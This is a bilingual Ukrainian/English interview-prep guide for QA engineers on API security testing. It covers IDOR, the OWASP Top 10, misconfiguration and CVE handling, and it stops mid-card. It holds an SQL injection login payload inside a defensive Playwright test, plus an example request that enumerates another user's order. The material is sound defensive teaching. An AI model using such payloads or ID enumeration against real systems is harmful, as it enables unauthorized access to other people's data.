← Valtive QA Quiz quiz.valtive.io/notes/security valtive.io
📖 Про цей гайд📖 About this guide

Для когоTarget Audience

Для QA-інженерів усіх рівнів (Junior, Middle, Senior), які прагнуть впевнено проходити технічні співбесіди та самостійно виявляти базові вразливості на проєктах.

For QA engineers at all levels (Junior, Middle, Senior) seeking to ace technical interviews and independently detect foundational web vulnerabilities.

Як користуватись 🗣How to Use 🗣

Вивчайте питання послідовно. Звертайте увагу на фрагменти коду та розмовні відповіді від першої особи для впевненого проходження технічних інтерв'ю.

Study questions sequentially. Pay attention to code snippets and first-person conversational answers for confident technical interview performance.

🔗 Модель загроз і OWASP🔗 Threat Model & OWASP 🔗 Сесії й доступи🔗 Sessions & Access 🔗 Безпечні перевірки в CI🔗 Secure CI Checks
30
картокcards
4
розділиsections
100%
практикаpractical
▶ 1 10
1 Що таке security testing у контексті API?What is security testing in the context of APIs?
Junior▶

Що це: Тестування безпеки API — це процес пошуку вразливостей в інтерфейсах програмування застосунків, які можуть дозволити зловмиснику отримати несанкціонований доступ до даних або порушити роботу системи. Це не просто перевірка логіна чи пароля, це аналіз того, як API обробляє несподівані вхідні дані, як воно керує сесіями та авторизацією (наприклад, доступ до чужих ресурсів), і чи захищене воно від автоматизованих атак. У контексті QA це найчастіше зводиться до перевірки того, чи можна виконати дію від імені іншого користувача або отримати дані, які не повинні бути доступними.

Навіщо/коли: Безпека передусім потрібна для збереження довіри користувачів та уникнення фінансових втрат. У сьогоднішньому світі API часто є найшвидшим шляхом до бази даних компанії. Тестування безпеки слід проводити постійно — на етапі дизайну архітектури, під час написання автотестів, перед релізами та на етапі пост-релізу з регулярними перевірками. Особливо критично це для публічних API та систем, що працюють з фінансовими або персональними даними.

Приклад з реального проєкту: QA інженер тестував API для замовлення їжі. Він виявив, що ендпоінт, який повертає деталі замовлення (наприклад, /api/orders/12345), не перевіряє, чи належить це замовлення поточному користувачу. Просто перебираючи ідентифікатори (IDOR - Insecure Direct Object Reference), він зміг переглянути особисті дані, адреси та замовлення інших клієнтів. Після репорту розробники додали перевірку прив'язки ресурсу до токена авторизації.

Підводні камені: Основна помилка — змішувати функціональне тестування з тестуванням безпеки або вважати, що наявність HTTPS та токена автоматично робить ручки безпечними. Тестувальники часто забувають перевіряти доступ з іншими ролями або з протермінованими токенами. Інший підводний камінь — автоматичні сканери часто дають багато хибних спрацьовувань (false positives), які треба обробляти вручну.

Уточнююче питання: Як ви розмежовуєте тестування безпеки, яке роблять QA, та роботу спеціалізованих пентестерів на вашому проєкті?

What it is: API security testing is the process of identifying vulnerabilities within Application Programming Interfaces that could allow malicious actors to gain unauthorized access to data, disrupt services, or execute malicious commands. It goes far beyond simply checking if a login page works; it involves deeply analyzing how the API handles malformed or unexpected input, how it manages sessions, token expiration, and precise authorization boundaries (such as preventing users from accessing each other's resources). For a QA engineer, this often means checking whether actions can be performed on behalf of another user or if restricted endpoints can be bypassed entirely.

Why/when: Security is paramount for maintaining user trust, meeting compliance standards (like GDPR, HIPAA), and avoiding potentially catastrophic financial leaks. Because APIs frequently serve as a direct bridge to a company's backend databases, they are prime targets for automated attacks. Security testing must be a continuous effort—starting during architectural design, continuing through the creation of regression suites, running before critical deployments, and conducting periodic audits in production. It’s absolutely essential for public-facing utilities and highly sensitive financial systems.

Real project example: A QA testing a modern e-commerce platform found that the endpoint returning order receipts (like /api/v1/receipts/9876) did not validate if the logged-in user actually owned the receipt. By simply incrementing the numeric IDs (a classic Insecure Direct Object Reference or IDOR vulnerability), the tester could scrape personal details, billing addresses, and purchase histories of thousands of other customers. The developers subsequently implemented strong ownership validation bound to the active session token.

Pitfalls: A prevalent mistake is equating functional testing with security testing or assuming that implementing HTTPS and generating a basic JWT resolves all security concerns. QA teams often neglect to test endpoints using accounts with different privilege levels or manipulating data payloads. Another significant challenge is relying purely on automated vulnerability scanners, which frequently produce a high volume of false positives that require tedious manual verification and triage.

Clarifying question: How do you currently balance the security testing responsibilities assigned to QA versus dedicating resources for professional penetration tests within your team?

Приклад / конфігурація:
Example / configuration:
GET /api/v1/orders/12345 HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhb...<!-- token of User A -->

<!-- Server returns details intended for User B -->
HTTP/1.1 200 OK
{
  "order_id": 12345,
  "customer_name": "Alice",
  "total": 99.99
}
💡 Що тут відбувається: Ми робимо запит до ресурсу, використовуючи токен одного користувача, але запитуємо дані, які належать іншому. Сервер віддає конфіденційну інформацію, не перевіривши права доступу до цього об'єкта (IDOR).
💡 What is happening here: We are making a request to a specific resource using the authorization token of one user but requesting data belonging to another. The server returns sensitive information without verifying access rights to the underlying object (IDOR).
🗣 Як читати вголос: Тестування безпеки апішок — це коли ми перевіряємо, чи можна зламати систему або отримати дані, які нам не належать. Головна мета — знайти дірки, поки це не зробили хакери. Я зазвичай починаю з перевірки авторизації: пробую зайти під різними ролями, підміняти айдішники в запитах, щоб перевірити наявність айдору. Також обожнюю надсилати невалідні дані, щоб подивитись, чи не впаде сервер з п'ятисоткою і чи не видасть він стак трейс у відповіді. Це не про якийсь складний злам з консоллю, а про методичний пошук логічних дірок у тому, як сервер обробляє наші запити. Головне — завжди перевіряти граничні випадки, адже розробники часто довіряють клієнту більше, ніж варто було б.
🗣 How to say it out loud: API security testing is all about checking if we can break the system or fetch data we aren't supposed to see before real attackers do. I usually start by verifying authorization mechanisms. I'll test different user roles, swap out numeric identifiers in endpoints to check for insecure direct object references, and generally try to access foreign resources. Another favorite technique of mine is stuffing completely invalid data payloads to see if the server crashes with a five hundred status code and leaks a stack trace. We're not doing hardcore penetration testing here; we focus on methodically finding logical flaws in how the server processes everyday requests. The key is to never trust the client and constantly challenge the boundaries.
2 Що таке OWASP Top 10?What is the OWASP Top 10?
Junior▶

Що це: OWASP Top 10 — це всесвітньо визнаний рейтинговий документ та методологія, що описує десять найкритичніших ризиків безпеки для веб-застосунків. Він створюється організацією Open Web Application Security Project (OWASP) на основі даних від експертів з кібербезпеки зі всього світу. До списку входять такі загрози, як злам контролю доступу (Broken Access Control), криптографічні збої, ін'єкції (Injection), небезпечний дизайн (Insecure Design) та інші поширені вразливості, що регулярно стають причинами гучних зламів систем.

Навіщо/коли: Цей список є своєрідним стандартом де-факто та базовим чеклістом для розробників і QA-інженерів. Він допомагає команді сфокусуватися на найбільш ймовірних та небезпечних дірках під час тестування безпеки. Використання OWASP Top 10 критично важливе при проектуванні нових фіч веб-застосунків, проведення код-рев'ю, налаштування CI/CD пайплайнів (для інтеграції автоматизованих сканерів) та під час ручного аудиту безпеки перед великим релізом.

Приклад з реального проєкту: На одному з проєктів ми готувалися до проходження сертифікації SOC 2. Щоб довести базовий рівень безпеки, команда тестування використовувала OWASP Top 10 як план для аудиту. Ми налаштували автоматичне сканування за допомогою інструменту OWASP ZAP у пайплайні, що дозволило автоматично відловлювати відсутні заголовки безпеки та перевіряти систему на відомі вразливості типу ін'єкцій ще на етапі пулл-реквесту.

Підводні камені: Дуже часто люди вважають, що OWASP Top 10 — це вичерпний список усіх можливих вразливостей, і забувають про інші вектори атак, специфічні для їхньої індустрії (наприклад, бізнес-логічні помилки). Також буває, що команди фіксують лише перші три пункти, ігноруючи решту через брак часу, або ж сліпо довіряють автоматичним сканерам, які ніколи не знайдуть складні IDOR або проблеми зі зламаним контролем доступу (поточний номер 1 у списку).

Уточнююче питання: Як ви пріоритезуєте перевірки з OWASP Top 10 на етапах функціонального тестування порівняно зі спеціалізованими сесіями тестування безпеки?

What it is: The OWASP Top 10 is a globally recognized awareness document and methodology that outlines the ten most critical security risks facing web applications. Maintained by the Open Web Application Security Project (OWASP), the list is compiled using vast amounts of data and consensus from security experts worldwide. It highlights prominent threats including Broken Access Control, Cryptographic Failures, Injection attacks (such as SQL injection), Insecure Design, and Security Misconfigurations. It acts as a foundational framework for understanding modern web security threats.

Why/when: Providing a widely accepted standard, the OWASP Top 10 acts as the ultimate baseline checklist for developers, security professionals, and QA engineers. It helps agile software teams focus their limited resources on mitigating the most probable and damaging vulnerabilities. Applying these guidelines is crucial during the architectural design phase, proactive code reviews, CI/CD pipeline setups (integrating automated scanning tools), and manual security auditing exercises immediately prior to embarking on a major production release.

Real project example: While preparing our SaaS application for a strict SOC 2 compliance audit, our QA team adopted the OWASP Top 10 as the core framework for our security test plans. We integrated the OWASP ZAP scanner into our nightly CI pipeline. This automated setup immediately flagged missing security headers and exposed a minor cross-site scripting (XSS) vulnerability on an internal dashboard, ensuring we addressed these critical categories before engaging an external penetration testing firm.

Pitfalls: A common misconception is treating the OWASP Top 10 as an exhaustive catalog of every conceivable security loophole rather than a baseline. Teams often ignore complex, domain-specific business logic flaws that never appear on generic lists. Another major pitfall is over-relying on automated scanners to cover the list; automated tools are severely limited when dealing with complex authorization defects (like Broken Access Control, currently the #1 risk), which require meticulous human reasoning to uncover effectively.

Clarifying question: Do your developers receive specific training on mitigating the OWASP Top 10 risks, or is the burden of discovery primarily placed on the QA organization?

Приклад / конфігурація:
Example / configuration:
name: OWASP ZAP Baseline Scan
on: [push]

jobs:
  zap_scan:
    runs-on: ubuntu-latest
    steps:
      - name: ZAP Scan
        uses: zaproxy/action-baseline@v0.12.0
        with:
          target: 'https://staging.example.com'
          fail_action: 'false' # Just report, don't break pipeline yet
💡 Що тут відбувається: Це фрагмент GitHub Actions пайплайну, який автоматично запускає базове сканування OWASP ZAP на тестовому середовищі при кожному коміті. Він налаштований так, щоб повідомляти про знахідки, а не блокувати білд миттєво.
💡 What is happening here: This is a GitHub Actions pipeline snippet that automatically triggers an OWASP ZAP baseline scan against a staging environment on every push. It's configured to report findings without immediately failing the build.
🗣 Як читати вголос: Овасп Топ 10 — це біблія безпеки веб-застосунків, яка оновлюється раз на кілька років. Там зібрані найбільш поширені й болючі дірки безпеки, від ін'єкцій до проблем з налаштуваннями серверів. Для мене як ку-ей інженера це головний орієнтир: я завжди дивлюсь, що на першому місці, зараз це порушення контролю доступу. Я спеціалізуюсь на перевірці бізнес-логіки та доступів, бо жоден сканер не зрозуміє, що звичайний юзер не має бачити адмінську панель. Звісно, на проєктах ми часто налаштовуємо автоматику для перевірки базових речей, але справжнє тестування, яке гарантує спокійний сон — це ручна робота за цим списком, щоб знайти специфічні вразливості нашої архітектури.
🗣 How to say it out loud: The O-wasp top ten is essentially the bible of web application security. It’s a list updated every few years showing the most common and painful security risks out there, ranging from injection flaws to broken authentication. For me as a QA, it's my primary compass. Since broken access control is usually at the top right now, I focus heavily on testing business logic and discovering privilege escalations. Automated scanners might find missing headers, but they simply cannot understand that a standard user shouldn't be able to access the admin portal. While we automate the low-hanging fruit, the real value I bring is manually evaluating our architecture against this list to uncover complex, application-specific vulnerabilities.
3 Чому функціонального прогону недостатньо для перевірки OWASP Top 10?Why is functional testing not enough for OWASP Top 10?
Middle▶

Що це: Функціональне тестування (functional testing) перевіряє те, як система повинна працювати за ідеальних або очікуваних умов і відповідає на питання "чи робить програма те, що заявлено у вимогах?". Тестування ж безпеки (і покриття OWASP Top 10) концентрується на тому, як система поводить себе, коли хтось навмисно намагається зламати її або зробити те, що не передбачено нормальним сценарієм використання. Функціональні тести підтверджують позитивний шлях, тоді як перевірка безпеки шукає приховані негативні шляхи та вразливості в логіці.

Навіщо/коли: Функціональні прогони не здатні виявити більшість проблем з OWASP Top 10, оскільки вони не моделюють поведінку зловмисника. Наприклад, автотест перевірить, що користувач може залогінитися зі своїм логіном та паролем. Але цей тест ніколи не спробує підставити SQL-ін'єкцію в поле логіна, не спробує перехопити сесійну куку, не перевірить наявність атрибутів HttpOnly на цих куках і не спробує згенерувати тисячу запитів за секунду, щоб покласти сервер. Тому ці види тестування повинні існувати паралельно та доповнювати одне одного, щоб забезпечити надійність продукту.

Приклад з реального проєкту: На одному фінансовому проєкті був зелений набір зі 100% покриттям функціональних автотестів для переказу коштів. Тести успішно перевіряли, що переказ працює, баланси оновлюються, а помилки валідації генеруються при від'ємній сумі. Однак, коли ми додали сценарії з OWASP (зокрема перевірку на стан гонки / race condition), ми виявили, що якщо одночасно відправити 50 запитів на переказ ста доларів (маючи на балансі тільки 100), сервер обробляв їх паралельно і баланс ставав від'ємним, віддаючи атакуючому реальні гроші. Ніхто з ручних чи авто-функціональників цього не знаходив.

Підводні камені: Найбільший ризик — це хибне відчуття безпеки від того, що "усі тести зелені, а значить багів немає". Розробники часто опираються додаванню спеціалізованих security-тестів до загального CI, оскільки вони можуть бути дуже повільними і давати плаваючі результати. Інша проблема: звичайні функціональні тестувальники можуть не знати інструментів на кшталт Burp Suite чи способи маніпуляцій запитами, тому залишають цю зону не покритою зовсім.

Уточнююче питання: Як ви розрізняєте і поділяєте ресурси команди на класичні функціональні негативні кейси та справжнє тестування безпеки?

What it is: Functional testing validates that an application behaves exactly as intended under normal or expected conditions—it fundamentally answers the question, "does the software meet business requirements?" In contrast, security testing, specifically encompassing the OWASP Top 10, focuses on observing how the system responds when someone intentionally attempts to exploit it or perform actions outside logical boundaries. While functional tests affirm the positive scenarios and expected negative validations, security testing actively hunts for hidden pathways, logic flaws, and architectural vulnerabilities that malicious actors could abuse.

Why/when: Basic functional execution sweeps are inherently inadequate for uncovering the vast majority of OWASP Top 10 vulnerabilities because they do not simulate an attacker's hostile mindset. A functional automated setup might verify that a valid login succeeds and an invalid one fails. However, that exact same script will never try injecting a malicious payload into the username field, attempting to guess session cookies, checking if those cookies lack the secure HttpOnly flag, or evaluating the endpoint's resilience against brute-force attacks. Therefore, both testing disciplines must be parallel and complementary to truly guard a product's integrity.

Real project example: In a banking application, we had a fully green automated suite providing absolute coverage for the money transfer functionality. These scripts correctly asserted that transfers succeeded, balances adjusted, and attempts to send negative amounts were correctly blocked. However, when we introduced advanced security test cases checking for race conditions (a severe architectural flaw), we discovered that firing fifty concurrent API requests to transfer funds when the total balance was merely adequate for one transaction caused the database to process them simultaneously. It drove the balance into massive negative territory, effectively generating infinite funds. Standard tests missed this completely.

Pitfalls: The most dangerous pitfall is developing a false sense of absolute security rooted in the belief that "all functional pipelines are green, so the application is flawless." Furthermore, engineering teams frequently resist inserting extensive security evaluations into their daily CI execution because such tests are often slow, complex, and prone to flaky results. Additionally, pure functional testers may lack the specialized expertise needed to operate proxy tools like Burp Suite, leaving massive security gaps deliberately unaddressed.

Clarifying question: How do you currently partition testing effort and team resources to ensure both exhaustive functional coverage and rigorous security assessments are maintained?

Приклад / конфігурація:
Example / configuration:
// Typical functional test - Checks expected behavior
test('Login with valid credentials succeeds', async ({ request }) => {
  const res = await request.post('/api/login', { data: { user: "admin", pass: "123" } });
  expect(res.status()).toBe(200);
});

// Security test (SQLi) - Checks unexpected, malicious behavior
test('Login endpoint resists basic SQLi payload', async ({ request }) => {
  const res = await request.post('/api/login', { data: { user: "admin' OR 1=1--", pass: "xxx" } });
  expect(res.status()).not.toBe(200);
  expect(res.status()).not.toBe(500); // Shouldn't crash backend
});
💡 Що тут відбувається: Ми бачимо контраст між звичайним функціональним тестом, який перевіряє позитивний сценарій входу, і спеціалізованим тестом безпеки. Останній навмисно відправляє хакерський рядок для спроби SQL-ін'єкції і перевіряє, що сервер грамотно це відкинув і не впав із п'ятисоткою.
💡 What is happening here: We see a stark contrast between a routine functional test covering sunny-day login behavior and a dedicated security assertion. The latter intentionally injects a malicious SQL injection string to assure the backend gracefully rejects it without crashing with a five hundred status code.
🗣 Як читати вголос: Функціональне тестування підтверджує, що фіча працює, коли з нею взаємодіє нормальний користувач. Але воно не враховує людей, які хочуть цю систему зламати. Автотест, який перевіряє форму логіна, ніколи сам не додумається вставити замість імейла скрипт, або спробувати обійти капчу за допомогою тисячі запитів за хвилину. Тому для покриття овасп топ десять треба мислити як зловмисник. Я завжди відділяю перевірки функціоналу від безпекових перевірок. Коли я пишу автотести на апі, я можу додати туди базові перевірки на ін'єкції чи відсутність чутливих даних у сміттєвих відповідях сервера, адже це захищає нас від дуже дорогих помилок на продакшені.
🗣 How to say it out loud: Functional testing proves the features operate smoothly when a regular user follows the happy path. But it entirely ignores people trying to tear the system apart. Your standard UI automation suite validating a login page won’t suddenly decide to inject a complex cross-site scripting payload, nor will it attempt to bypass an authentication mechanism by bombarding the endpoint with a thousand requests. To cover the O-wasp top ten, you have to think like an attacker maliciously bending the rules. I make it a point to separate functional verification from security boundaries. When I build API tests, I'll deliberately inject negative assertions for unexpected SQL strings because it catches those catastrophic production leaks before they happen.
4 Що таке security misconfiguration очима тестувальника?What is security misconfiguration through the eyes of a tester?
Middle▶

Що це: Security Misconfiguration (небезпечне налаштування) — це широкий клас вразливостей, які виникають через недбалі або дефолтні налаштування інфраструктури, веб-серверів, баз даних або фреймворків. Очима тестувальника це виглядає як залишені дефолтні паролі (наприклад, admin:admin), відкриті порти й адмінки в інтернет, увімкнений режим дебагу на продакшені (який випльовує stack trace), відсутність HTTP-заголовків безпеки, або навіть забуті тестові ендпойнти, які не мали потрапити в реліз. Це не помилка в самому коді бізнес-логіки, а радше проблема середовища та конфігурації.

Навіщо/коли: Ці проблеми виникають дуже часто, тому що команди копіюють налаштування зі стейджингу на продакшен, не розбираючись у деталях. Безпечні конфігурації є фундаментом: якщо сервер погано налаштований, навіть найякісніший код не врятує систему від зламу. Тестувальник повинен перевіряти це під час кожного деплою, звертаючи увагу на відповіді сервера, заголовки та поведінку при нестандартних запитах. Автоматизація перевірок конфігурацій (інфраструктура як код) допомагає зменшити ці ризики.

Приклад з реального проєкту: На одному з релізів ми помітили, що API почало повертати величезні HTML-сторінки з помилками замість стандартних JSON-відповідей, коли ми передавали невалідні дані. Виявилося, що розробники залишили увімкненим флаг DEBUG = True у конфігурації Django на продакшені. Через це будь-хто міг викликати Exception і отримати детальний stack trace, у якому були видні шляхи до файлів на сервері, шматки вихідного коду і навіть змінні середовища з частковими ключами до бази даних.

Підводні камені: Найбільший підводний камінь полягає у тому, що налаштування інфраструктури часто лежать поза зоною відповідальності класичного QA (цим займаються DevOps). Тестувальники можуть боятись або не вміти перевірити CORS налаштування, TLS сертифікати або порти докер-контейнерів. Крім того, інструменти сканування часто дають багато шуму, наприклад, скарги на відсутність маловідомих заголовків, які не мають реального впливу на даний конкретний проєкт.

Уточнююче питання: Чи є у вашій команді чіткий чекліст перевірки інфраструктурних налаштувань перед викочуванням на продакшен, і хто несе за це відповідальність?

What it is: Security Misconfiguration refers to a broad spectrum of vulnerabilities arising from insecure default settings, incomplete setups, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Through the eyes of a tester, this translates to finding default administrative credentials left intact (like admin:admin), debugging endpoints exposed on production builds, directory listing enabled on web servers, or critical stack traces being spat out upon triggering a simple API error. Essentially, it’s not an inherent flaw in the business application code itself, but rather a catastrophic failure in environment administration and deployment practices.

Why/when: These vulnerabilities are incredibly common because engineering teams frequently copy configuration files directly from relaxed staging environments into production without adjusting security parameters. A secure baseline configuration is the ultimate foundation; if the underlying infrastructure is flawed, even perfectly written application code remains highly vulnerable. Testers must actively probe for configuration lapses during every deployment cycle, scrutinizing server responses, examining headers, and forcing unexpected errors. Adopting automated configuration checks and treating Infrastructure as Code (IaC) significantly mitigates these persistent setup risks.

Real project example: Following a major deployment, our testing team observed that intentionally sending malformed data payloads caused the API to crash and return massive HTML error pages instead of standardized JSON responses. An investigation revealed that the engineering team accidentally deployed with the DEBUG = True flag enabled within the Django production configuration. Consequently, anyone triggering a forced exception was rewarded with a highly detailed stack trace that leaked internal server file paths, segments of proprietary source code, and critically, environmental variables exposing partial database connection strings.

Pitfalls: The most significant pitfall is the pervasive assumption that infrastructure configuration is exclusively a "DevOps problem," leading QA engineers to completely ignore this attack vector out of fear or lack of specialized knowledge. Software testers often feel too intimidated to evaluate Cross-Origin Resource Sharing (CORS) rules, TLS certificate validity, or open Docker ports. Additionally, automated configuration scanners are notorious for generating immense amounts of noise, repeatedly flagging obscure missing headers that provide negligible actual risk reduction for the specific product context.

Clarifying question: Does your operational framework include automated compliance scans or rigid pre-deployment checklists to verify infrastructure configurations, and who ultimately signs off on them?

Приклад / конфігурація:
Example / configuration:
// Playwright checking for a Security Misconfiguration (Information Leakage in Error)
test('API should not leak stack traces on server error', async ({ request }) => {
  // Deliberately break the request to force a 500
  const res = await request.post('/api/data', { data: { bad_field: [] } });
  
  expect(res.status()).toBe(500);
  const body = await res.text();
  
  // Verify that production code doesn't leak internal paths
  expect(body).not.toContain('/var/www/');
  expect(body).not.toContain('stack trace');
});
💡 Що тут відбувається: Автотест навмисно відправляє неправильний тип даних, очікуючи 500-ту помилку сервера. Далі він перевіряє, що у відповіді відкритим текстом не виливається внутрішня інформація про структуру директорій або стек викликів, що свідчило б про увімкнений режим дебагу на продакшені.
💡 What is happening here: The automated test intentionally submits an invalid data type to force a 500 server error. Crucially, it then parses the response body to assert that internal directory structures or application stack traces are not leaked to the client, effectively verifying that verbose debugging mode is disabled in production.
🗣 Як читати вголос: Сек'юріті місконфігурація — це золота жила для знаходження прикрих помилок, для яких навіть хакером бути не треба. Для тестувальника це означає зайти на сайт з логіном адмін і паролем адмін і отримати доступ, або передати замість числа рядок і побачити на екрані детальний стектрейс із паролем від бази даних. Це не баги коду, це баги налаштувань. Я завжди перевіряю, як сервер реагує на неочікувані речі і чи не віддає він зайвої інфи. Часто розробники забувають вимкнути дебаг-режим після стейджингу, або залишають відкритими корс політики так, що сайт приймає запити з будь-якого домену. Перевірити це в автотестах дуже легко, і це дає швидкий профіт для безпеки всього проєкту.
🗣 How to say it out loud: Security misconfiguration is basically a goldmine for finding embarrassing flaws where you don't even need to be a sophisticated hacker. As a tester, this means stumbling upon default credentials like admin admin, or purposely breaking an endpoint only to have the server throw an enormous stack trace exposing internal file paths. These aren't coding bugs; they are deployment and environment failures. I make it a habit to check how the server behaves under stress and ensure it’s not leaking secrets. Developers regularly forget to disable verbose debug modes when promoting builds from staging, or they leave CORS policies completely wide open. Testing these setup issues in automation is straightforward and adds massive defensive value to the entire project ecosystem.
5 Що таке CVE?What is CVE?
Junior▶

Що це: CVE (Common Vulnerabilities and Exposures) — це відкрита, стандартизована база даних (словник) загальновідомих недоліків кібербезпеки та вразливостей. Кожній знайденій, підтвердженій та публічно розкритій вразливості присвоюється унікальний ідентифікатор формату CVE-РІК-НОМЕР (наприклад, сумнозвісний CVE-2021-44228 для Log4Shell). Це дозволяє спеціалістам з безпеки, тестувальникам і розробникам зі всього світу однозначно розуміти, про який саме баг у якій бібліотеці чи системі йде мова, замість того, щоб описувати його довгим текстом.

Навіщо/коли: CVE є критичною ланкою в керуванні залежностями (dependency management). Сучасні проєкти складаються з сотень сторонніх пакетів (NPM, Maven, pip). Якщо в якомусь із них знаходять вразливість, їй дають номер CVE. Команди та автоматизовані сканери (на кшталт Dependabot або Snyk) регулярно перевіряють цей список, щоб зрозуміти, чи використовують вони вразливу версію бібліотеки. QA-інженер повинен розуміти, що таке CVE, щоб правильно оцінити ризик і розуміти звіти сканерів інфраструктури.

Приклад з реального проєкту: На нашому Node.js проєкті ми використовували бібліотеку lodash для маніпуляцій з об'єктами. Одного ранку GitHub Dependabot створив пулл-реквест зі сповіщенням: "Виявлено критичну вразливість CVE-2019-10744 (prototype pollution) у вашій версії lodash". Як QA, я проаналізував, чи використовуємо ми вразливу функцію merge з неперевіреним користувацьким вводом. Оскільки ризик був підтверджений, ми пріоритетно оновили пакет і я написав автотест, що надсилав корисне навантаження, яке забруднювало прототип, гарантуючи, що після оновлення баг справді зник.

Підводні камені: Найбільша проблема — це ігнорування сповіщень про CVE, вважаючи їх проблемами безпековиків. Часто команди накопичують тисячі попереджень з низьким та середнім рівнем ризику і просто перестають на них зважати (alert fatigue). Інша крайність — паніка і термінове оновлення всього підряд без належного тестування, що часто ламає бізнес-логіку або приносить нові, функціональні баги через несумісні зміни (breaking changes) у мінорних версіях бібліотек.

Уточнююче питання: Як у вашому процесі обробляються звіти про нові CVE в залежностях, і чи є встановлені SLA на оновлення критичних пакетів?

What it is: CVE (Common Vulnerabilities and Exposures) is a universally accessible, standardized dictionary and numbering system for publicly disclosed cybersecurity vulnerabilities and exposures. Whenever a software flaw is legitimately identified and confirmed, it is assigned a unique tracking identifier structured as CVE-YEAR-NUMBER (for instance, the catastrophic CVE-2021-44228 associated with Log4Shell). This globally recognized naming convention ensures that security researchers, developers, QA engineers, and automated tools are universally referencing the exact same specific defect, eliminating confusion caused by vague descriptions.

Why/when: The CVE system is the fundamental cornerstone of modern dependency and vulnerability management. Contemporary software architectures rely heavily on vast networks of third-party dependencies (such as NPM packages, Python pip libraries, or Java Maven artifacts). When independent researchers discover a flaw in one of these libraries, a CVE is published. Automated security scanners like GitHub Dependabot, Snyk, or OWASP Dependency-Check continuously cross-reference project manifests against the CVE database. QA professionals must understand CVEs to accurately interpret vulnerability reports and advocate for necessary updates.

Real project example: While working on a widespread Node.js service, our static analysis scanner flagged a critical alert notifying us of CVE-2019-10744 (a notorious prototype pollution vulnerability) present within our ancient version of the lodash library. As a QA engineer, I collaborated with the developers to determine if our application actually leveraged the vulnerable deep-merge functions using unvalidated JSON input from external clients. Validating the extreme risk, we expedited a framework upgrade. I then engineered a specific exploit payload in our automation suite to unconditionally verify that the prototype pollution vector was permanently neutralized after the patch.

Pitfalls: The most dangerous pitfall is absolute negligence—ignoring CVE notifications completely because teams assume dependency security is purely a DevOps mandate. Conversely, extreme alert fatigue occurs when scanners generate hundreds of low-severity warnings, causing engineers to become numb and ultimately ignore genuinely critical threats. Another significant risk involves panic-upgrading dependencies instantly without proper regression testing, introducing massive functional regressions or breaking changes that completely destroy existing application logic under the misguided guise of rapid security patching.

Clarifying question: What is your team’s defined workflow and Service Level Agreement (SLA) for triaging and mitigating critical CVE alerts flagged by your CI pipeline?

Приклад / конфігурація:
Example / configuration:
// Example output from npm audit indicating a CVE
{
  "vulnerabilities": {
    "lodash": {
      "name": "lodash",
      "severity": "high",
      "via": [
        {
          "title": "Prototype Pollution",
          "url": "https://github.com/advisories/GHSA-45c4-8wx5-qw6w"
        }
      ],
      "effects": [],
      "range": "<4.17.12",
      "fixAvailable": true
    }
  }
}
💡 Що тут відбувається: Це типовий вивід інструменту аудиту (наприклад, npm audit), який показує, що знайдено відому вразливість. Вона має назву (Prototype Pollution) і вказує, які версії пакета lodash є небезпечними, спонукаючи команду оновити залежність.
💡 What is happening here: This is a standard output from a dependency checking tool like npm audit, explicitly identifying a known vulnerability. It highlights the threat (Prototype Pollution), flags the affected versions of the lodash library, and strongly prompts the engineering team to apply a patch.
🗣 Як читати вголос: Сі-Ві-І — це, просто кажучи, унікальний код для кожної публічної дірки в безпеці. Це як паспорт для багів. Знаєте, колись всі використовували одні й ті ж пакети, і як тільки хтось знаходив там вразливість, починався хаос, бо ніхто не міг зрозуміти, яку саме проблему фіксять. Завдяки ідентифікаторам типу Сі-Ві-І-2021 ми точно знаємо, з чим маємо справу. На проєктах наш пайплайн постійно перевіряє наші залежності, і якщо знаходиться високорівнева Сі-Ві-І в якомусь нпм-пакеті, ми маємо зупинити реліз і оновити бібліотеку. QA тут відіграє роль контролера: ми дивимось репорт, оцінюємо реальний імпакт і обов'язково ганяємо регресію після апдейту.
🗣 How to say it out loud: C-V-E stands for Common Vulnerabilities and Exposures, and it's essentially a universally recognized tracking ID—like a social security number—for specific, public security flaws. Back in the day, security discussions were chaotic, but now, if you say C-V-E twenty-twenty-one, everyone instantly knows which specific bug you mean. In our daily workflow, automated bots scan our package manifests. If a high-severity C-V-E is detected in an NPM module, it’s a massive red flag. My job as QA isn't just to report it, but to critically evaluate if we actually use the vulnerable function, ensure the developers bump the version safely, and then run full regression suites to guarantee the fix didn't break our core workflows.
6 Критичний CVE у залежності напередодні релізу: який порядок дій QA?A critical CVE in a dependency the day before release: what does QA do?
Senior▶

Що це: Алерти про вразливі залежності зазвичай генеруються автоматичними сканерами (Dependabot, Snyk, GitLab Security) або під час виконання команд на кшталт npm audit, коли в проєкті знаходиться бібліотека з відомою CVE. Порядок дій QA полягає не в панічному оновленні всіх бібліотек, а в аналізі, підтвердженні та тестуванні. Тестувальник має зрозуміти: чи справді продукт використовує цю вразливість, який ризик несе оновлення (breaking changes), і як перевірити, що нові залежності не зламали функціонал.

Навіщо/коли: Коли прилітає алерт (особливо критичний), команда повинна відреагувати швидко, згідно зі своїми SLA. Але сліпе оновлення бібліотеки може зруйнувати робочий код. QA виступає як захисний бар'єр: ми аналізуємо скоуп вразливості та розробляємо стратегію тестування компонента, який використовує оновлену бібліотеку. Це відбувається постійно, оскільки нові CVE публікуються щодня.

Приклад з реального проєкту: Отримали алерт від Snyk: у бібліотеці axios, яку використовував наш фронтенд, знайдено уразливість SSRF. Мій алгоритм як QA був такий: 1. Я прочитав деталі CVE, щоб зрозуміти, за яких умов вона відтворюється. 2. Перевірив, чи використовуємо ми axios саме таким небезпечним чином — виявилось, ми не дозволяли користувачам задавати URL-и напряму, тому ризик був мінімальним. 3. Разом із розробниками вирішили оновити версію. 4. Я запустив повний набір регресійних API-тестів та додатковий smoke-тест на фронтенді, щоб впевнитись, що мережеві запити після апдейту працюють коректно. Тільки після зеленого репорту змерджили фікс.

Підводні камені: Найбільша помилка — ігнорування алертів як "DevOps problem". Інша: відсутність оцінки імпакту (аналізу впливу). Якщо оновити мажорну версію великого UI-фреймворку через мінорний баг безпеки, можна отримати розвалений інтерфейс, і на виправлення підуть тижні. Тому іноді безпечніше жити зі знайденою вразливістю (якщо вона експлуатується лише у недосяжних для хакера умовах), аніж ламати критичний бізнес-напрямок в терміновому релізі.

